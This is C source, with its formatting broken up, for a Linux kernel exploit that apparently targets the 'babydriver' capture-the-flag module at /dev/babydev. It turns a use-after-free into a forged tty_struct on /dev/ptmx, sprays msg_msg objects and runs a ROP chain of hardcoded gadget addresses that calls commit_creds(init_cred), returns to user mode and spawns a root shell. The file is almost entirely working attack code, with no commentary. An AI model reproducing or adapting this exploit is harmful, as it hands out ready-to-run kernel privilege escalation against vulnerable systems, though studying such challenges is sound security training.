size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_cred
=
0xffffffff810a1420
;
size_t init_cred
=
0xffffffff81e48c60
;
size_t mov_rsp_rax_dnc_ebx_ret
=
0xffffffff8181bfc5
;
size_t pop_rax
=
0xffffffff8100ce6e
;
size_t swapgs_pop_rbp_ret
=
0xffffffff81063694
;
size_t iretq_ret
=
0xffffffff814e35ef
;
size_t pop_rdi_ret
=
0xffffffff810d238d
;
size_t mov_rc4_rdi_pop_rbp_ret
=
0xffffffff81004d80
;
size_t pop_rsp_ret
=
0xffffffff81171045
;
size_t leak[
0x60
];
size_t fake_tty[
0x200
];
int
fd1;
char meiyongde[
10
];
int
fd3;
void info(char
*
s , size_t address ){
if
(address) printf(
"\033[32m\033[1m[Info] %s : \033[0m%#lx\n"
, s, address);
else
printf(
"\033[32m\033[1m[Info] %s \033[0m\n"
, s);
}
void usr(){
void (
*
commit) (char
*
)
=
commit_cred;
(
*
commit)(init_cred);
}
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
info(
"status saved!"
,
0
);
}
void getshell(){
info(
"root!!!!!!"
,
0
);
system(
"/bin/sh"
);
}
void bind_cpu(
int
core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
int
main()
{
int
ret
=
0
;
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(
0
, &cpu_set);
sched_setaffinity(
0
, sizeof(cpu_set), &cpu_set);
int
ms_qid[
0x100
];
save_status();
fd1
=
open
(
"/dev/babydev"
,
2
);
int
fd2
=
open
(
"/dev/babydev"
,
2
);
ioctl(fd2,
0x10001
,
0x2e0
);
close(fd2);
info(
"try to read heapadd"
,
0
);
read(fd1,leak,
0x60
);
info(
"try to write heapadd"
,
0
);
info(
"heapadd"
,leak[
0
]);
fd3
=
open
(
"/dev/ptmx"
,
2
);
size_t fake_ktty_add;
size_t rop[
0x20
];
int
i
=
0
;
fake_ktty_add
=
(size_t
*
)leak[
0
];
fake_ktty_add
=
fake_ktty_add
+
0x800
;
info(
"check tty add"
,fake_ktty_add);
rop[i
+
+
]
=
*
(size_t
*
)
"patekblue"
;
rop[i
+
+
]
=
pop_rdi_ret;
rop[i
+
+
]
=
init_cred;
rop[i
+
+
]
=
commit_cred;
/
/
rop[i
+
+
]
=
*
(size_t
*
)
"patekblue"
;
/
/
rop[i
+
+
]
=
(size_t)usr;
rop[i
+
+
]
=
swapgs_pop_rbp_ret;
rop[i
+
+
]
=
*
(size_t
*
)
"patekblue"
;
rop[i
+
+
]
=
iretq_ret;
rop[i
+
+
]
=
(size_t)getshell;
rop[i
+
+
]
=
user_cs;
rop[i
+
+
]
=
user_rflags;
rop[i
+
+
]
=
user_sp;
rop[i
+
+
]
=
user_ss;
info(
"rop:"
,rop);
size_t testrop[
0x20
];
testrop[
0
]
=
0x11111111
;
testrop[
1
]
=
0x22222222
;
testrop[
3
]
=
0x33333333
;
testrop[
4
]
=
0x44444444
;
testrop[
5
]
=
0x55555555
;
testrop[
6
]
=
0x66666666
;
testrop[
7
]
=
0xdeadbeef
;
size_t operation[
0x10
];
size_t f_operation_add
=
fake_ktty_add
+
0x1a0
;
info(
"check fake tty operation"
,f_operation_add);
info(
"prepare fake tty_operation done!"
,
0
);
info(
"try to hijack tty..."
,
0
);
read(fd1,fake_tty,
0x200
);
fake_tty[
3
]
=
f_operation_add;
int
t
=
0x34
;
/
/
fake_tty[t]
=
pop_rsp_ret;
/
/
fake_tty[t
+
+
]
=
leak[
0
];
size_t kernel_rop
=
fake_ktty_add
+
0x400
+
0x30
;
info(
"check rop add in kernel space"
,kernel_rop);
fake_tty[t]
=
pop_rsp_ret;
fake_tty[t
+
1
]
=
kernel_rop;
for
(
int
j
=
2
;j<
8
;j
+
+
){
fake_tty[t
+
j]
=
mov_rsp_rax_dnc_ebx_ret;
}
int
msg_id[
5
];
for
(
int
k
=
0
;k <
5
;k
+
+
){
msg_id[k]
=
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
if
(msg_id[k]
=
=
-
1
){
printf(
"get error msg_id : %d"
,k);
}
printf(
"sucess get msg_id : %d\n"
,k);
}
for
(
int
w
=
0
; w <
5
; w
+
+
)
{
ret
=
msgsnd((
int
*
)msg_id[w],rop,
0x2e0
-
0x30
,
0
);
if
(ret
=
=
-
1
){
printf(
"get error in : %d"
,w);
}
}
write(fd1,fake_tty,
0x200
);
write(fd3, meiyongde,
10
);
}
